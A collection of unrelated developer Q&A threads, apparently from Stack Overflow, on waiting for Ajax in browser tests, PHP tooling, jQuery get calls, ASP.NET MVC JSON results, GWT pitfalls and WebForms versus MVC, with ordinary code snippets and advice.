I'm developing in .NET 3.5 using Visual Studio 2008. I envisage this testing in:
In the past I've used delays when testing the browser. I don't particularly like doing that and it wastes time.
What experience and practice is there for doing things better, than using waits. Maybe introducing callbacks and a functional style of programming to run the tests in?
Notes 1. More detail after reviewing first 3 replies.
1) Thanks Alan, Eran and marxidad, your replies have set me on the track to getting my answer, hopefully without too much time spent.
2) Another detail, I'm using jQuery to run the Ajax, so this is not built in Asp.NET AJAX.
3) I found an article which illustrates the situation nicely. It's from http://adamesterline.com/2007/04/23/watin-watir-and-selenium-reviewed/
3.1) Selenium Sample (This and the next, WatiN, code sample do not show up in the original web page (on either IE or Firefox) so I've extracted them and listed them here.)
public void MinAndMaxPriceRestoredWhenOpenedAfterUsingBackButton(){
OpenBrowserTo("welcome/index.rails");
bot.Click("priceDT");
WaitForText("Price Range");
WaitForText("515 N. County Road");
bot.Select("MaxDropDownList", "$5,000,000");
WaitForText("Prewar 8 Off Fifth Avenue");
bot.Select("MinDropDownList", "$2,000,000");
WaitForText("of 86");
bot.Click("link=Prewar 8 Off Fifth Avenue");
WaitForText("Rarely available triple mint restoration");
bot.GoBack();
Thread.Sleep(20000);
bot.Click("priceDT");
WaitForText("Price Range");
Assert.AreEqual("$5,000,000", bot.GetSelectedLabel("MaxDropDownList"));
Assert.AreEqual("$2,000,000", bot.GetSelectedLabel("MinDropDownList"));}
3.2) WatiN sample
public void MinAndMaxPriceRestoredWhenOpenAfterUsingBackButton(){
OpenBrowserTo("welcome/index.rails");
ClickLink("Price");
SelectMaxPrice("$5,000,000");
SelectMinPrice("$2,000,000");
ClickLink("Prewar 8 Off Fifth Avenue");
GoBack();
ClickLink("Price");
Assert.AreEqual("$5,000,000", SelectedMaxPrice());
Assert.AreEqual("$2,000,000", SelectedMinPrice());}
3.3) If you look at these, apparently equivalent, samples you can see that the WatiN sample has abstracted away the waits.
3.4) However it may be that WatiN needs additional support for values changed by Ajax calls as noted in http://watinandmore.blogspot.com/2008/01/using-watin-to-test-select-lists-in.html. In that article the page is given an additional field which can be used to synthesize a changed event, like so:
// Wait until the value of the watintoken attribute is changed
ie.SelectList("countries").WaitUntil(!Find.By("watintoken",watintoken));
4) Now what I'm after is a way to do something like what we see in the WatiN code without that synthesized event. It could be a way to directly hook into events, like changed events. I wouldn't have problems with callbacks either though that could change the way tests are coded. I also think we'll see alternate ways of writing tests as the implications of new features in C# 3, VB 9 and F# start to sink in (and wouldn't mind exploring that).
5) marxidad, my source didn't have a sample from WebAii so I haven't got any comments on this, interesting looking, tool.
Notes 2. 2008-09-29. After some feedback independent of this page.
5) I attempted to get more complete source for the WatiN sample code above. Unfortunately it's no longer available, the link is dead. When doing that I noticed talk of a DSL, presumably a model that maps between the web page and the automation tool. I found no details on that.
6) For the WebAii it was suggested code like this (it's not tested) would be used:
public void MinAndMaxPriceRestoredWhenOpenAfterUsingBackButton(){
ActiveBrowser.NavigateTo("welcome/index.rails");
Find.ByContent<HtmlAnchor>("Price").Click();
HtmlSelect maxPrice = Find.ById<HtmlSelect>("MaxDropDownList");
HtmlSelect minPrice = Find.ById<HtmlSelect>("MinDropDownList");
maxPrice.SelectByText("$5,000,000");
minPrice.SelectByText("$2,000,000");
Find.ByContent<HtmlAnchor>("Prewar 8 Off Fifth Avenue").Click();
ActiveBrowser.GoBack();
Find.ByContent<HtmlAnchor>("Price").Click();
maxPrice.AssertSelect().SelectedText("$5,000,000");
minPrice.AssertSelect().SelectedText("$2,000,000");}
6) From the code I can clearly avoid waits and delays, with some of the frameworks, but I will need to spend more time to see whether WatiN is right for me.
Most automation frameworks have some synchronizationfunctions built in. Selenium is no exception, and includes functionality like waitForText, waitForElementPresent,etc.
I just realized that you mentioned "waits" above, which I interpreted as Sleeps (which aren't good in automation). Let me know if I misinterpreted, and I can talk more about wait* functions or alternatives.
WebAii has a WaitForElement(s) method that lets you specify the parameters of the elements to wait for.
I have been developing basic web sites for awhile now with some PHP thrown in for getting dynamic stuff done. However, I recently decided that it was time I got my hands a little dirtier so I wanted to start to play with the underpinnings of Wordpress and other such apps. I work on a Mac at home and have been using Coda for most of my editing needs and I love it. Also, to manage the services stack I use MAMP at home. However, I've begun to realize that for heavy PHP and Web work (AJAX, etc.), more is needed.
I'm very interested to hear the kinds of tools more experienced web developers use on a day to day basis to manage the entire work flow. I found this article over on developer tutorials and decided to go with XAMPP (for the moment) for managing the services. However, IDE, Source Control, Debugger, etc. are all up for grabs.
Anyway, your thoughts are much appreciated. And, if at all possible, try to describe your entire stack with what each tool fulfills for your development process.
My PHP related development computers are:
Most of my development is LAMP - FreeBSD or other *nix, Apache, PHP, MySQL. I like jQuery for JavaScript and Ajax work. I don't work with PHP hosted on windows, butI do use windows for my workstation.
Workstation Setup:
Multiple monitors (4), which is a must for any developer.
A W: drive that maps to my development folder on the dev server via samba, so I can open files locally (W:\php-app\php-webroot\file.php) but run them remotely (http://www.php-app.dev/file.php).
A way to make my workstation recognize my development space for http://www.domain.com at http://www.domain.dev (That way my development environment is as close to the production environment as possible.)
Workstation Software:
I like to use PutTY and TightVNC to manage my development server via xfce in a local window. That way I can edit config files, restart apache, etc. without having to leave my primary desktop. If I'm doing a lot of work on the server, I'll maximize it to window to one of my monitors. I find this more effective than having to use my switchbox.
For code work, I like the NuSphere PHPED IDE, with the DBG PHP Debugger. Pretty good IDE, and handles remote debugging of a project on a local (samba share) folder very well. For example, project root at W:\apps\php-project\ and debugging at http://www.php-project.dev.
I use Edit+ for a lot of text work. Used to use it for coding, but gave it up for PHPED. Still really nice when you need to process a lot of text, great search/replace, RegEx, etc.
I use MySQL Workbench (Sometimes) for database design.
I use SQLYog for MySQL data work, queries, viewing data in tables, etc. (And sometimes now for light design/ERD)
Firefox, IE, Opera, and Google Chrome for viewing my work. I work mainly in Firefox, and just use the others for compatibility, cookie testing, session security work, etc.
MUST HAVE: Firefox plugins - DBGBar (works with DBG debugger and PHPED), DOM Inspector, Firebug, Live HTTP Headers, ReloadEvery, SEO for Firefox, ViewCookies, and WebDeveloper.
RegexBuddy for regular expression work (http://www.regexbuddy.com/) (Test while you write them - love it).
A simple color picker like Nattyware's Pixie or ColorCop for color work.
Photoshop and Illustrator for occasional design work. Or Gimp and Inkscape.
A ruler like jRuler for measurement (http://www.spadixbd.com/freetools/jruler.htm).
Win SCP for remote file work (ftp kinda stuff). Also works as a pipe to remote file editing if you set the 'external editor' for it to your php editor. Just double click the file on the remote server and it will open and save via SCP for as long as you keep it open in your editor. Be sure to "save password for session" or you will have to enter the password to save.
An any-window spell checker like Spell Magic, because PHPED doesn't have a good spell checker, and I hate it when I misplel things on my websites. (http://www.alcodasoftware.com/spell-magic.htm)
A decent time tracker, if you work for multiple clients. (http://www.allnetic.com/).
A simple task manager for todo list kind of stuff. I really like MyLife Organized (MLO).
Virtuawin or something for multiple virtual desktops (http://virtuawin.sourceforge.net/). You can use it to run just about any number of virtual desktops, and it works great with multiple monitors. I typically have 9 virtual desktops, each of which spans my 3 or 4 monitors. Switching is very easy, and it's pretty light with memory and processor resources. This is nice for discrete workspaces for my email/communication space, my code/workspaces per project, and a workspace that has other boxes open via TightVNC, each running full screen on one monitor, for easy network admin, server config, etc. That way I can be working on whatever you need to be in just a second or two.
Winroll is a nice lite tool to add some functionality that's been long lacking from windows. (http://www.palma.com.au/winroll/).
To keep things from getting too boring, I like AutomaticWallpaperChannger (http://awc.smurphy.co.uk/) which also works with multiple desktops pretty well.
I've also replaced my taskmon with Process Explorer, which is WAY better if you want to monitor your resources for leaks and hoggs.
Taskbar Shuffle allows me to drag and drop taskbar icons, which is shocking not to be built into windows.
The last few of these aren't exactly PHP stack, but I really couldn't work without them at this point...
Server Software
I'm developing in a WAMP environment (WinXP SP3, if you must know). Here is my toolset and why: IDE - UE Studio (www.ultraedit.com):
There's more...I just really like the tool
Source control: SVN (http://subversion.tigris.org/)
Debugging: Firefox + Web Developer Toolbar and Firebug
When you mentioned heavy PHP and web work; an extremely large codebase will require some sort of project management part of your IDE. A lot of the big hitters like eclipse and zend will get you that functionality in an IDE (as well as some PHP debugging), you pay for it with speed of the app.
For a source control client, I definitely recommend TortoiseSVN, it integrates with windows very nicely.
Also see this related question on choosing an IDE for PHP development
Use the free Netbeans IDE for PHP. Very good feature set out of the box plus a lot of plugins to extend ur IDE. For embedded source control use svn or Hg. For the server, XAMPP. and make sure you configure your xampp to match the deployment server configuration, to avoid any last minute surprises (learnt the hard way). PHP config is complicated
Aptana does pretty well, and i use a straight Apache install.
I'm working as a programmer (9to5) and I use PDT-Eclipse, or to be precise:
There's also an SVN-Plugin for Eclipse:
With this, my daily needs are met, but I think for basic websites and structures this is overdosed, since it can be a nightmare to get everything running and working together (though my coworker "just installed it" and all is fine). And it is a big system you are getting there (for free!), with lots of functionality - fine, when you need it, but annoying and confusing, when not.
Best regards, Basty
For source control in subversion I would only recommend tortoisesvn for small projects. When you start dealing with large repositories, SmartSVN is much faster and easier to use, it integrates with the explorer shell (without the periodic slowdowns of tortoisesvn), and it is cross-platform.
I'm currently using:
Hands down the best IDE for PHP is NuSphere PHPEd. It's a no contest. It is so good that I use WINE to run it on my Mac. PHPEd has an awesome debugger built into it that can be used with their local webserver (totally automatic) or you can just install the dbg module for XAMPP or any other Apache you want to run. (I personally use WAMP for development for it's easy of adding new sites and modules). Source control is really whatever you can find cheap. Codespaces gives you 50 megs free and Assembla gives you 100. Both offer SVN and Assembla has GIT and Mercurial as well. If you don't know how to manage source control I would recommend starting with SVN (more docs and tutorials) due to TortoiseSVN's integration with the Windows shell. You don't even need to know a single SVN command to use it.
Komodo Edit is very good, the paid version has a debugger. I also like Zend Studio, but I haven't used the Eclipse based version.
For source control, I'd recommend using a distributed VCS, git if you can. Otherwise I'd use TortoiseSVN.
Also I would not use Wordpress as a good example of PHP code. I steer more towards CakePHP or one of the other MVC frameworks. If you are interested in a CMS I would suggest WildFlower
These are the free tools I have been using for PHP development on Windows, and have had no problems on XP, Vista, or Windows 7 RC.
Servers : XAMPP (I've also used EasyPHP)
IDE: NetBeans (Easier and lighter than Eclipse, but just as powerful IMO)
SVN Hosting : Unfuddle.com (free plan is perfect for a lone developer)
SVN Client : TortoiseSVN (integrates with explorer)
Framework : Kohana (It felt more natural to me than CodeIgniter)
It took me a while to find Windows tools that I liked too.
For my editor, I use E which is an imitation of TextMate for Windows. For source control, I use git. It's a little annoying to get set up at first, but I prefer it to all of the other systems. msysGit is an excellent project that will help you get up and running on Windows. For hosting, you can use GitHub.
PHPEdit for me
Using a Mac with:
WAMP is probably the best environment for PHP on windows. One of the great features of wamp is that you can easily turn on and off PHP and apache features such as mod rewrite on apache and short open tags for PHP. It is a little different from regular LAMP, but if you have a staging server on linux you can test your code there.
For IDE, since you do heavy development, an IDE like Eclipse or Netbeans would help with code completion and built in debugging. However, because they are java apps, they can be slow on older computers.
Also, learning an MVC framework might make you more productive and help you reuse more code. Symfony, Cakephp, Code Igniter, and the Zend Framework seem to be the most popular. I personally use Cakephp, but use the one that is easiest to understand for you. After doing the tutorial for each framework, you should be able to make a decision based on that.
For source control I have only used TortoiseSVN and subversion on windows and they seem do the job.
Over here we use VS.Php. It is a PHP IDE integrated to Visual Studio, so you can develop PHP applications while still enjoying Visual Studios features. There also is a Standalone Version which does not need Visual Studio to be installed.
You can find it under http://www.jcxsoftware.com
Zend Studio + Subclipse plugin for quick access to SVN
Tortoise SVN for more detailed SVN control
IIS local webserver
i recommend you Netbeans... it has SVN , Mercurial, and Kenai, all intergrated. it has a pretty good support for HTML, JavaScript, PHP of course.. and good code completion techniques... its free.. and available for all popular platforms.. :)
Eclipse PDT
Colinux for dev/test server inside windows
SVN + Tortoise
Firefox
...umm enough :)
I am kind of new to JavaScript library's. I wanted to replace my current code with a JS lib jQuery. My current code looks like this.
var req;
function createRequest(){
var key = document.getElementById("key");
var keypressed = document.getElementById("keypressed");
keypressed.value = key.value;
var url = "/My_Servlet/response?key="+ escape(key.value);
if (window.XMLHttpRequest){
req = new XMLHttpRequest();
}
else if (window.ActiveXObject){
req = new ActiveXObject("Microsoft.XMLHTTP");
}
req.open("Get",url,true);
req.onreadystatechange = callback;
req.send(null);
}
function callback(){
if (req.readyState==4){
if (req.status == 200){
var decimal = document.getElementById('decimal');
decimal.value = req.responseText;
}
}
clear();
}
I wanted to replace my code with something a little friendlier like jQuery's
jQuery.get(url, callback);
However I it doesn't call my callback function.
Also I would like to call this function createRequest to be called continuously. Does jQuery have a nice way of doing that?
$.get(url, {}, callback);
should do the trick. Your callback could be simplified like this:
function callback(content){
$('#decimal').val(content);
}
Or even shorter:
$.get(url, {}, function(content){
$('#decimal').val(content);
});
And all in all I think this should work:
function createRequest() {
var keyValue = $('#key').val();
$('#keypressed').val(keyValue);
var url = "/My_Servlet/response";
$.get(url, {key: keyValue}, function(content){
$('#decimal').val(content);
});
}
Take out the readyState and status checks. jQuery only calls your callback upon success. Your callback is supplied the arguments (data, textStatus), so you should use data instead of req.responseText.
window.setTimeout() as suggested by another answer won't do what you want - that only waits and then calls your function once. You need to use window.setInterval() instead, which will call your function periodically until you cancel it.
So, in summary:
var interval = 500; /* Milliseconds between requests. */
window.setInterval(function() {
var val = $("#key").val();
$("#keypressed").val(val);
$.get("/My_Servlet/response", { "key": val }, function(data, textStatus) {
$("#decimal").val(data);
});
}), interval);
I don't think jQuery implements a timeout function, but plain old javascript does it rather nicely :)
According to the docs, jQuery.get's arguments are url, data, callback, not url, callback.
A call to JavaScript's setTimeout function at the end of your callback function should suffice to get this to continually execute.
There's no need to set the GET parameters on the URL, jQuery will set them automatically. Try this code:
var key = document.getElementById("key");
[...]
var url = "/My_Servlet/response";
$.get (url, {'key': key}, function (responseText)
{
var decimal = document.getElementById ('decimal');
decimal.value = responseText;
});
Hey Everyone... I have this code... Thanks so much for all the help. But I get an error responseText is undefined on the jQuery get call.
function convertToDecimal(){
var key = document.getElementById("key");
var keypressed = document.getElementById("keypressed");
keypressed.value = key.value;
var url = "/Minesweeper_Servlet/response";
$.get(url, {'key': key}, callback(responseText));
}
function callback(responseText) {
alert("Here");
var decimal = document.getElementById ('decimal');
decimal.value = responseText;
clear();
}
In the end I guess it was added the type. This seems to work for me.
function convertToDecimal(){
var key = document.getElementById("key");
var keypressed = document.getElementById("keypressed");
keypressed.value = key.value;
var url = "/My_Servlet/response?key="+ escape(key.value);
jQuery.get(url, {}, function(data){
callback(data);}
, "text" );
}
function callback(data){
var decimal = document.getElementById('decimal');
decimal.value = data;
clear();
}
Thanks Everyone for the help. I'll vote you up.
How do you return a serialized JSON object to the client side using ASP.NET MVC via an AJAX call?
From the controller you can just return a JsonResult:
public ActionResult MyAction()
{
... // Populate myObject
return new JsonResult{ Data = myObject };
}
The form of the Ajax call will depend on which library you're using, of course. Using jQuery it would be something like:
$.getJSON("/controllerName/MyAction", callbackFunction);
where the callbackFunction takes a parameter which is the data from the XHR request.
Depending on your syntax preferences, the following also works:
public ActionResult MyAction()
{
return Json(new {Data = myObject});
}
I'm at the beginning/middle of a project that we chose to implement using GWT. Has anyone encountered any major pitfalls in using GWT (and GWT-EXT) that were unable to be overcome? How about from a performance perspective?
A couple things that we've seen/heard already include:
Looking for any additional feedback on these items as well. Thanks!
I'll start by saying that I'm a massive GWT fan, but yes there are many pitfalls, but most if not all we were able to overcome:
Problem: Long compile times, as your project grows so does the amount of time it takes to compile it. I've heard of reports of 20 minute compiles, but mine are on average about 1 minute.
Solution: Split your code into seperate modules, and tell ant to only build it when it's changed. Also while developing, you can massively speed up compile times by only building for one browser. You can do this by putting this into your .gwt.xml file:
<set-property name="user.agent" value="gecko1_8" />
Where gecko1_8 is Firefox 2+, ie6 is IE, etc.
Problem: Hosted mode is very slow (on OS X at least) and does not come close to matching the 'live' changes you get when you edit things like JSPs or Rails pages and hit refresh in your browser.
Solution: You can give the hosted mode more memory (I generally got for 512M) but it's still slow, I've found once you get good enough with GWT you stop using this. You make a large chunk of changes, then compile for just one browser (generally 20s worth of compile) and then just hit refresh in your browser.
Update: With GWT 2.0+ this is no longer an issue, because you use the new 'Development Mode'. It basically means you can run code directly in your browser of choice, so no loss of speed, plus you can firebug/inspect it, etc.
http://code.google.com/p/google-web-toolkit/wiki/UsingOOPHM
Problem: GWT code is java, and has a different mentality to laying out a HTML page, which makes taking a HTML design and turning it into GWT harder
Solution: Again you get used to this, but unfortunately converting a HTML design to a GWT design is always going to be slower than doing something like converting a HTML design to a JSP page.
Problem: GWT takes a bit of getting your head around, and is not yet mainstream. Meaning that most developers that join your team or maintain your code will have to learn it from scratch
Solution: It remains to be seen if GWT will take off, but if you're a company in control of who you hire, then you can always choose people that either know GWT or want to learn it.
Problem: GWT is a sledgehammer compared to something like jquery or just plain javascript. It takes a lot more setup to get it happening than just including a JS file.
Solution: Use libraries like jquery for smaller, simple tasks that are suited to those. Use GWT when you want to build something truly complex in AJAX, or where you need to pass your data back and forth via the RPC mechanism.
Problem: Sometimes in order to populate your GWT page, you need to make a server call when the page first loads. It can be annoying for the user to sit there and watch a loading symbol while you fetch the data you need.
Solution: In the case of a JSP page, your page was already rendered by the server before becoming HTML, so you can actually make all your GWT calls then, and pre-load them onto the page, for an instant load. See here for details:
Speed up Page Loading by pre-serializing your GWT calls
I've never had any problems CSS styling my widgets, out of the box, custom or otherwise, so I don't know what you mean by that being a pitfall?
As for performance, I've always found that once compiled GWT code is fast, and AJAX calls are nearly always smaller than doing a whole page refresh, but that's not really unique to GWT, though the native RPC packets that you get if you use a JAVA back end are pretty compact.
We have been working with gwt for almost 2 years. We have learned a lot of lessons. Here is what we think:
1) Dont use third party widget libraries especially gwt-ext. It will kill your debugging, development and runtime performance. If you have questions about how this happens, contact me directly.
2) Use gwt to only fill in the dynamic parts of your apps. So if you have some complex user interactions with lots of fields. However, don't use the panels that come with it. Take your existing stock designer supplied pages. Carve out the areas that will contain the controls for your app. Attach these controls to the page within onModuleLoad(). This way you can use the standard pages from your designer and also do all the styling outside the gwt.
3) Don't build the entire app as one standard page that then dynamically builds all the pieces. If you do what I suggest in item 2, this won't happen anyway. If you build everything dynamically you will kill performance and consume huge amounts of memory for medium to large apps. Also, if you do what I am suggesting, the back button will work great, so will search engine indexing etc.
The other commenters also had some good suggestions. The rule of thumb i use is to create pages like you were doing a standard web page. Then carve out the pieces that need to be dynamic. Replace them with elements that have id's and then use RootPanel.get( id ).add( widget ) to fill those areas in.
Pitfalls that we've run into:
While you can get a lot of mileage from using something like GWT EXT, any time you use this sort of thin veneer on top of a JavaScript library, you lose the ability to debug. More than once I've bashed my head on the desk because I cannot inspect (inside my IntelliJ debugger) what's happening in the GWT EXT table class... All you can see is that it's a JavaScriptObject. This makes it quite difficult to figure out what's gone wrong...
Not having someone on your team who knows CSS. From my experience, it didn't matter that the person wasn't expert...it's enough that he has some good working knowledge, and knows the right terms to google when necessary.
Debugging across browsers. Keep an eye on Out of Process Hosted Mode[1][2][3], hopefully coming in GWT 1.6... For now, you just have to get things good with hosted mode, then use the "Compile/Browse" button, where you can play with other browsers. For me, working on Windows, this means I can view my work in FireFox, and use FireBug to help tweak and make things better.
IE6. It's amazing how different IE 6 will render things. I've taken the approach of applying a style to the outermost "viewport" according to the browser so that I can have CSS rules like:
.my-style { /* stuff that works most everywhere */ }
.msie6 .my-style { /* "override" so that styles work on IE 6 */
Finally, make sure you use an editor that helps you. I use IntelliJ -- it's got lots of GWT smarts. E.g., If I try to use a class that isn't handled by the JRE emulation, it lets me know; if I specify a style for a widget, and I haven't defined that style yet, the code gets the little red squiggly... Or, when looking at the CSS, it will tell me when I've specified conflicting attributes in a single rule. (I haven't tried it yet, but I understand that version 8 has even better GWT support, like keeping the "local" and "async" RPC interfaces and implementations in sync.)
[1]http://code.google.com/p/google-web-toolkit/wiki/DesignOOPHM
[3]http://groups.google.com/group/Google-Web-Toolkit/browse_thread/thread/1203bb0f1eb36ad5
GWT 2.0, which is supposed to come out sometime in the next few months, solves a lot of the issues discussed.
I'll add some points to the ones already mentioned:
IMHO, GWT is missing a framework that has out of the box support for all of the issues mentioned on this 'thread'.
I'm working on a project right now that uses EXT GWT (GXT) not to be confused with GWT EXT. There is a difference, EXT GWT is the one that is actually produced by the company that wrote ExtJS the javascript library. GWT EXT is a GWT wrapper around the ExtJS library. GXT is native GWT.
Anyways, GXT is still somewhat immature and lacks a solid community that I feel GWT EXT has. However, the future is with GXT, as it's native GWT and actually developed by the company that made ExtJS. GWT EXT is somewhat crippled as the license changed on the ExtJS library, thus slowing the development of GWT EXT.
Overall, I think GWT/GXT is a good solution for developing a web application. I actually quite like hosted mode for development, it makes things quick and easy. You also get the benefit of being able to debug your code as well. Unit testings with JUnit is pretty solid as well. I haven't yet seen a great JavaScript unit testing framework that I felt was mature enough for testing an enterprise application.
For more information on GWT EXT: http://gwt-ext.com/
For more information on EXT GWT (GXT): http://extjs.com/products/gxt/
Not "unable to be overcome" but a bit of a pain for something basic.
Date handling:
GWT uses the deprecated java.util.Date which can lead to unexpected behaviour when dealing with dates on the client side. java.util.Calendar is not supported by GWT. More info here.
Related problem examples:
No major pitfalls that I haven't been able to overcome easily. Use hosted mode heavily. As you are using GWT-ext you will almost never need to touch CSS yourself unless you want to tweak the out of the box look.
My recommendation is to use a GWT "native" widget over a library one where they are close in features.
Re search engine indexing: yes the site will not have navigable URLs normally (unless you are only adding widgets to elements of a regular web site). You can do history back/forward functionality though.
I used GWT and GWT-ext together on a project a while ago. I found the experience quite smooth as web development goes, but my advice would be this:
Don't mix GWT native widgets with EXT widgets. It's confusing as hell, since usually the names are the same (GWT.Button or GWText.Button?)
One thing that happened to me that really made the code more complex than I'd like, was that I wanted a Panel that was a) dynamically updatable b) cascadable
GWT native panels are dynamic, Ext panels are cascadable. Solution? A GWT.VerticalPanel wrapping a GWTExt Panel... Chaos. :)
But hey, it works. ;)
I second the comment from ykagano, the biggest disadvantage is losing the V in MVC. Although you can separate the true ui class from the rest of your client side code, you cannot easily use an HTML page generated by a graphic/web designer. This means you need a developer to translate HTML into java.
Get a wysiwyg ui editor, it will save you lots of time. I use GWTDesigner.
The biggest upside of GWT is being able to forget about cross browser issues. Its not 100% but takes almost all that pain away. Combined with the benefit of hosted mode debugging (as opposed to Firebug which is excellent but not the same as a java debugger) it gives the developer a huge advantage in generating complex ajax apps.
Oh and its fast at runtime, especially if you use a gzip filter.
Slightly off-topic, but the #gwt channel on irc is very helpful, in-case you have a persistent problem.
GWT is pretty straight-forward and intuitive.
Especially with the release of UIBinder to allow GWT widgets to be laid out in XML and then coded-behind in Java.
So if you have used other Ajax or Flash design tools, or Silverlight, etc, GWT is very easy to learn.
The major hurdle, if not pitfall, is GWT RPC. The very reason you wish to use GWT is because of GWT async RPC. Otherwise, why not just rely on css to format your page?
GWT RPC is that element that allows your server to refresh data on your server without having to refresh the page. This is an absolute requirement for pages such as stock performance monitoring (or the current national and public debt of the US or the number of unborn babies aborted worldwide by the second).
GWT RPC takes some effort to understand but given a few hours, it should come all clear.
Above that, after putting in some effort to learn GWT RPC, you finally discover that you cannot use JSPs as the service component for RPC, unless ... I have an 8 part (I think) series on my blog on how to use JSP as the GWT RPC servicer. However, since you had not asked for answers but just issues, I shall desist from advertising my blog.
So. I very much believe that the worst roadblocks/pitfalls to using GWT is finding out how to properly deploy GWT async RPC and how to enable it to use JSP servicers.
We've had a very hard time marrying our GWT codebase with HTML web templates that we got from a web designer (static HTML pages with specific div ids that we wanted GWT to manage). At least back when we used it, we couldn't get GWT to integrate with parts of our website that were not coded in GWT. We had it working eventually, but it was a big hack.
One major pitfall is that sometimes you need to explicitly assign an id to what ultimately becomes an HTML element to be able to use certain CSS styles. For instance: a GWT TabPanel will only do :hover over tabBarItems when the tabBar of the tabPanel has been assigned an id and you specify a :hover on that elementId.
I wrote about some other disadvantages of GWT elsewhere, but they are already covered by rustyshelfs answer :).
But for a large Javascript project it's the best choice
I have done a lot of work on GWT recently, and this is wht i have to say:
I do not know much about GWT-EXT, But i too am of the belief that there is no need to include Third party libraries.
Best of luck on your decision :)
Re-using RPC service objects.
It causes race conditions with symptoms that look like the app hanging.
GWT does Browser Sniffing instead of Feature Detection and your application will not work on some browsers (specially new ones)
Here are some references of the problem:
Here are some references to Feature Detection:
Extracted from Comparison of JavaScript frameworks - Wikipedia
If given the choice, which path would you take?
ASP.NET Webforms + ASP.NET AJAX
or
ASP.NET MVC + JavaScript Framework of your Choice
Are there any limitations that ASP.NET Webforms / ASP.NET AJAX has vis-a-vis MVC?
I've done both lately, I would take MVC nine times out of ten.
The one time I would choose using asp.net forms development would be to use the gridview control. We are using jquery for our javascript framework with MVC and have not yet found a very good gridview like control. We have something that is functional, but the amount of time we have sunk into learning, tweaking, and debugging it vs using asp.net server side controls has been substantial. One looses all of the nice widgets Microsoft provides out of the box doing non asp.net form development. The loss of those widgets is freeing, and scary at the same time when you first start.
At the end of the day I'm happy we are doing MVC development. My team and I have learned a new framework, (we were only asp.net developers before), and have gotten our hands dirty with html and javascript. These are skills we can take onto other projects or other languages if we ever need to.
I see that the majority of the responses came out prior to MVC 1.0. Since we are now in 2.0 Preview, I thought it might nice to revisit.
I was a ASP.NET developer for about five years before I made the move to MVC last March. I haven't regretted it for a second. I realize now that the stronger I got in ASP.NET WebForms, the more difficult it became to learn other technologies, such as JavaScript and the non-Microsoft implementation of AJAX. Microsoft leveraged their ASP.NET development approach from their WinForms development approach, which helped with the learning curve if you were coming from WebForms development, but it's not a good way to develop web applications if you understand the differences between the two approaches.
The latest project I'm working required me to learn ASP.NET MVC, JavaScript, jQuery, CSS 2, and AJAX (non-Microsoft). After only nine months, I feel much better prepared to approach web development projects than I did after five years of ASP.NET development. The ASP.NET implementation makes things so much more difficult to maintain long-term. MVC makes things so much easier, because you're less dependent on shortcuts. It takes a while to learn the framework, but the more you learn about the framework, the less dependent on the framework you become and the more you start to learn and understand the established standards, like JavaScript and AJAX.
For me, it is a clear-cut choice. I will never go back to ASP.NET. If I can't use ASP.NET MVC, I'll learn Ruby or PHP. I want the progress and advancement of my web development tools to be motivated by the needs of the developer community, not by profit.
I love webforms, but ASP.NET AJAX is a pile of crap.
I prefer to use WebForms + custom HTTPHandlers handling the server side of any AJAX calls.
Heh, downvoted...
ASP.NET AJAX Is a pile of crap because a callback requires the entire page class to be reinstantiated, you aren't calling a single method, you are rebuilding the entire page on the server everytime.
Also, UpdatePanels return the entire page, only the section in the update panel is popped in, its a total waste of bandwidth.
I understand why its done this way, because WebForms controls can't really be easily other ways, but it still is really lousy.
Don't let people fool you into thinking that it is a clear cut choice. You can get the best of both worlds. My approach is to create an MVC project, but instead of adding views, add standard asp.net pages, but change the code behind to inherit from MVC.ViewPage like so:
public partial class SamplePage : System.Web.Mvc.ViewPage
{
protected void Page_Load(object sender, EventArgs e)
{
}
}
If you confine yourself to the single form tag (with runat="server") in the code in front, then you have full code behind access to your standard asp.net server controls. This means you get full server side control of the presentation (eg. using databinding and repeaters) without having to do that old ASP-style code weaving.
protected void Page_Load(object sender, EventArgs e)
{
IObjectDefinition instance = (IObjectDefinition)ViewData["definition"];
_objectName.Text = instance.DisplayName;//textbox or label
DataTable itemVals = new DataTable();
itemVals .Columns.Add("itemName");
itemVals .Columns.Add("itemValue");
IDictionary<string, string> items = (IDictionary<string, string>)ViewData["items"];
foreach (KeyValuePair<string, string> datum in items)
{
conditions.Rows.Add(new object[] { datum.Key, datum.Value});
}
_itemList.DataSource = itemVals;//repeater
_itemList.DataBind();
}
The post for any control does not post back to the page, but to the controller. If you remember to use the name property on your server controls then they end up in the FormControls collection for access to your page variables as per standard MVC.
So what do you get?:
What do you lose?
Oh, and for AJAX - jQuery definitely. Making a request to a controller method that returns a JsonResult really simplifies things.
ASP.NET MVC is still in "Preview" form, and as such I wouldn't consider it until it matures. You can roll-your-own MVP pattern pretty easily without much plumbing.
On the Ajax front, I'd say try to find libraries (commercial or otherwise) that do what you're looking for. The basics (Grids, trees, autocomplete textboxes, etc.) have been done to death. Don't Reinvent The Wheel.
When I am designing a site one of the big things I prefer is the DRY principle. IMO ASP.NET MVC is much more dry than web forms.
I have recently made the move from webforms to MVC and I hope I never have to go back!
If you need update panel, I suggest you to use open source and lite MagicAjax or ComfortASP. If you need framework helps developing custom ajax, I suggest jQuery.
Webforms with ASP.NET Ajax is heaven. The integration between the 2 is just amazing and feels so natural to work with.
Using webforms instead of mvc will give you the ability to utilize the lifecycle to develop very good and re-usable controls.
But I still like to add a little jQuery into the mix for traversing the dom and adding animations, I just like to use asp.net ajax to get the integration with the server side.
The concept behind MVC is great, but be prepared to loose virtually all the functionality of all the server controls you've used for so many years. I've only looked at the MVC implementation for about a week now, but the page lifecycle and view state are gone so these controls no longer function properly.
I was also stunned to find a number of examples containing a lot of logic code in the markup. That's right, 'if' and 'foreach' statements in the aspx files -- a horrible step backwards imho. I was very happy to leave classic asp behind but in the current implementation of the asp.net mvc pattern you're back to code in your markup, the need to use helpers everywhere, and the lack of virtually any useable server controls.
If you're starting a new project now I'd recommend sticking with asp.net webforms and make use of a the built in asp.net ajax, the toolkit, and jQuery as needed. The asp.net ajax implementation may not be the absolute best, or most efficient implementation, but unless you're getting a million uniques on day 1 or your server is a commodore vic 20 the performance hit isn't going to be that noticeable.
This of course does depend on your project size. If you're starting a 5 year Enterprise level application that expect millions of page views, UpdatePanel might not cut it, but if you're building an average site, throwing up a prototype, or just need to get moving fast, asp.net ajax works perfectly fine and has an extremely low learning curve.
And to be clear, the entire page is absolutely not returned every time an ajax call is made. /Only/ the content for the panel that needs to be updated is sent across the wire. Any http monitor will prove this point. Yes, the page /lifecycle/ is performed, but knowing that you can can build fairly efficient asp.net ajax applications.
